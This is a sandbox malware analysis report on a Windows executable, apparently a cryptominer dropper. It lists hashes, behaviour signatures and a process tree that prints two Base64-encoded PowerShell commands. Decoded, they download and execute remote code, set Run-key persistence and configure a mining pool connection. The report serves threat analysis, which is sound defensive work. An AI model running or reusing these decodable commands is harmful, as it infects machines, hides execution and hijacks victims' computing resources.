c6dc70f71a48c115d227c79fe490bf4a7d78fae5c4f053d15793b3a46f8d81fb

Analysis

max time kernel
149s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/10/2026, 01:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AdgD8.g7tDaPmt.exe
Size 3.2MB
Sample261017-bme7qstzf1
SHA256 c6dc70f71a48c115d227c79fe490bf4a7d78fae5c4f053d15793b3a46f8d81fb
MD5 3d542bdf22df61bafdedd3303e1db84b
SHA1 430c5e3c0e30a8b1d97f58a44efe7b7dcdc31c83
SHA512 d6890ccf4998e0f8f6daa04bdd858a4898ab16288627a257d81c786d100e508dc4e4f0d85e70db8969da068d03b411d35653be1097729dee8b9d88aa51c095b8
SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiV:yhVDdV0bHtRjCVjY
TLSH
T1D1F58E2BA3E901ACC0B3C07D89475507EBB2344653A1EEDB56A085665FB7BE01F7A730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://github.com/digitalforensiker/myreadme/raw/refs/heads/main/readme.zip

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3796	powershell.exe
10	4232	powershell.exe
12	4232	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4232	powershell.exe
3796	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AdgD8.g7tDaPmt.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
12	raw.githubusercontent.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4844	wscript.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3796	powershell.exe
3796	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4232	powershell.exe
Token: SeSecurityPrivilege	4232	powershell.exe
Token: SeTakeOwnershipPrivilege	4232	powershell.exe
Token: SeLoadDriverPrivilege	4232	powershell.exe
Token: SeSystemProfilePrivilege	4232	powershell.exe
Token: SeSystemtimePrivilege	4232	powershell.exe
Token: SeProfSingleProcessPrivilege	4232	powershell.exe
Token: SeIncBasePriorityPrivilege	4232	powershell.exe
Token: SeCreatePagefilePrivilege	4232	powershell.exe
Token: SeBackupPrivilege	4232	powershell.exe
Token: SeRestorePrivilege	4232	powershell.exe
Token: SeShutdownPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeSystemEnvironmentPrivilege	4232	powershell.exe
Token: SeRemoteShutdownPrivilege	4232	powershell.exe
Token: SeUndockPrivilege	4232	powershell.exe
Token: SeManageVolumePrivilege	4232	powershell.exe
Token: 33	4232	powershell.exe
Token: 34	4232	powershell.exe
Token: 35	4232	powershell.exe
Token: 36	4232	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 3796	2180	AdgD8.g7tDaPmt.exe	85
PID 3796 wrote to memory of 4232	3796	powershell.exe	89

C:\Users\Admin\AppData\Local\Temp\AdgD8.g7tDaPmt.exe
"C:\Users\Admin\AppData\Local\Temp\AdgD8.g7tDaPmt.exe"
1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoACgAkAFUAcgBsACAAIAAgACAAIAAgACAAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGQAaQBnAGkAdABhAGwAZgBvAHIAZQBuAHMAaQBrAGUAcgAvAG0AeQByAGUAYQBkAG0AZQAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwByAGUAYQBkAG0AZQAuAHoAaQBwACcACgAkAEEAcABwAE4AYQBtAGUAIAAgACAAIAA9ACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAKACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgAD0AIAAnAHMAdAByAGEAdAB1AG0AKwB0AGMAcAA6AC8ALwBjADIALgBkAG8AeABiAGkAbgAuAGMAeQA6ADMAMwAzADMAJwAKACQAVQBzAGUAcgBBAHIAZwAgACAAIAAgAD0AIAAnAHgALgB4AG0AcgByAGkAZwAnAAoACgAkAFQAYQByAGcAZQB0AEQAaQByACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACcATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACcACgAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBrAC4AegBpAHAAJwAKACQARQB4AGUAUABhAHQAaAAgACAAIAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAoACQAQQBwAHAATgBhAG0AZQAgACsAIAAnAC4AZQB4AGUAJwApAAoAJABWAGIAcwBQAGEAdABoACAAIAAgACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAgACcAcwB0AGEAcgB0AC4AdgBiAHMAJwAKACQAUgBlAGEAZABtAGUAUABhAHQAaAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAHIAZQBhAGQAbQBlAC4AbQBkACcACgAKACQAUgB1AG4ASwBlAHkAIAAgACAAIAAgACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAKACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARQB4AHAAbABvAHIAZQByAFwAUwB0AGEAcgB0AHUAcABBAHAAcAByAG8AdgBlAGQAXABSAHUAbgAnAAoACgAkAEUAbgBhAGIAbABlAGQAQgBsAG8AYgAgAD0AIABbAGIAeQB0AGUAWwBdAF0AKAAwAHgAMAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzACAAewAKACAAIAAgACAAJABmAGwAYQBnAHMAIAA9ACAAMAAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABuACAAaQBuACAAQAAoACcAVABsAHMAMQAzACcALAAnAFQAbABzADEAMgAnACwAJwBUAGwAcwAxADEAJwAsACcAVABsAHMAJwAsACcAUwBzAGwAMwAnACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB2AGEAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAJABuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHYAYQBsACkAIAB7ACAAJABmAGwAYQBnAHMAIAA9ACAAJABmAGwAYQBnAHMAIAAtAGIAbwByACAAWwBpAG4AdABdACQAdgBhAGwAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGYAbABhAGcAcwAgAC0AZQBxACAAMAApACAAewAgAHIAZQB0AHUAcgBuACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQAkAGYAbABhAGcAcwAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB7AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAYQByAGEAbQAoACQAcwAsACQAYwAsACQAYwBoACwAJABlACkAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAewAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgACQAbgB1AGwAbAAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzAAoACgBmAHUAbgBjAHQAaQBvAG4AIABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgBvAG8AbABdACgARwBlAHQALQBDAG8AbQBtAGEAbgBkACAALQBOAGEAbQBlACAAJABOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAJABPAGIAagBlAGMAdAAsAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAE8AYgBqAGUAYwB0ACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAAkAHAAIAA9ACAAJABPAGIAagBlAGMAdAAuAFAAUwBPAGIAagBlAGMAdAAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAkAE4AYQBtAGUAXQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABwACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcAAuAFYAYQBsAHUAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABSAHUAbgBOAGEAbQBlACkACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABmAGEAbABzAGUAIAB9AAoACgAgACAAIAAgACQAcgB1AG4ASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABSAHUAbgBLAGUAeQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAHIAdQBuAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAcgB1AG4AVgBhAGwAdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAgAH0ACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEEAcABwAHIAbwB2AGUAZABSAHUAbgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAKACAAIAAgACAAJABhAHAAcAByAG8AdgBlAGQASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQAYgBlAGYAbwByAGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAGEAcABwAHIAbwB2AGUAZABJAHQAZQBtACAALQBOAGEAbQBlACAAJABSAHUAbgBOAGEAbQBlAAoACgAgACAAIAAgAGkAZgAgACgAJABiAGUAZgBvAHIAZQAgAC0AYQBuAGQAIAAkAGIAZQBmAG8AcgBlAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAIAAtAGEAbgBkACAAJABiAGUAZgBvAHIAZQBbADAAXQAgAC0AZQBxACAAMgApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAQgBpAG4AYQByAHkAIAAtAFYAYQBsAHUAZQAgACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAGEAZgB0AGUAcgAgAD0AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAALQBPAGIAagBlAGMAdAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABhAGYAdABlAHIAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlACAAfQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAoACgAJABhAGYAdABlAHIAIAAtAGoAbwBpAG4AIAAnACwAJwApACAALQBlAHEAIAAoACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBqAG8AaQBuACAAJwAsACcAKQApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AKABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAKQBdAFsAcwB0AHIAaQBuAGcAXQAkAFAAcgBvAGMATgBhAG0AZQApAAoAIAAgACAAIAAkAGUAeABlACAAPQAgACQAUAByAG8AYwBOAGEAbQBlACAAKwAgACcALgBlAHgAZQAnAAoACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAUAByAG8AYwBOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHQAcgB1AGUAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAZQB4AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcQAgAD0AIABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBOAGEAbQBlACAALQBlAHEAIAAkAGUAeABlACAAfQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcQApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBGAGkAbABlAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBdACQAVQByAGwALABbAHMAdAByAGkAbgBnAF0AJABPAHUAdABGAGkAbABlACkACgAgACAAIAAgACQAaABkAHIAIAA9ACAAQAB7ACAAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcAIAA9ACAAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwAgAH0ACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAEMAbwBtAG0AYQBuAGQARQB4AGkAcwB0AHMAIAAnAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABPAHUAdABGAGkAbABlACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgACQAaABkAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwAgAHIAZQB0AHUAcgBuACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAEUAbgBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQATwB1AHQARgBpAGwAZQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZAByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAIAByAGUAdAB1AHIAbgAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgAEQAaQBzAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAFMAdABhAHIAdAAtAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByACAALQBTAG8AdQByAGMAZQAgACQAVQByAGwAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQATwB1AHQARgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAA7ACAAcgBlAHQAdQByAG4AIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAnACkACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVQByAGwALAAkAE8AdQB0AEYAaQBsAGUAKQAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAdwBjAC4ARABpAHMAcABvAHMAZQAoACkAIAB9AAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuAAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIABFAG4AYQBiAGwAZQAtAFIAZQBsAGEAeABlAGQAQwBlAHIAdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAnACkACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVQByAGwALAAkAE8AdQB0AEYAaQBsAGUAKQAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAdwBjAC4ARABpAHMAcABvAHMAZQAoACkAIAB9AAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuAAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgAEQAaQBzAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB9AAoAIAAgACAAIAB0AGgAcgBvAHcAIAAiAEQAbwB3AG4AbABvAGEAZAAgAGYAYQBpAGwAZQBkADoAIAAkAFUAcgBsACIACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABFAHgAcABhAG4AZAAtAFoAaQBwAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBdACQAUABhAHQAaAAsAFsAcwB0AHIAaQBuAGcAXQAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACkACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAEMAbwBtAG0AYQBuAGQARQB4AGkAcwB0AHMAIAAnAEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABQAGEAdABoACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuAAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAb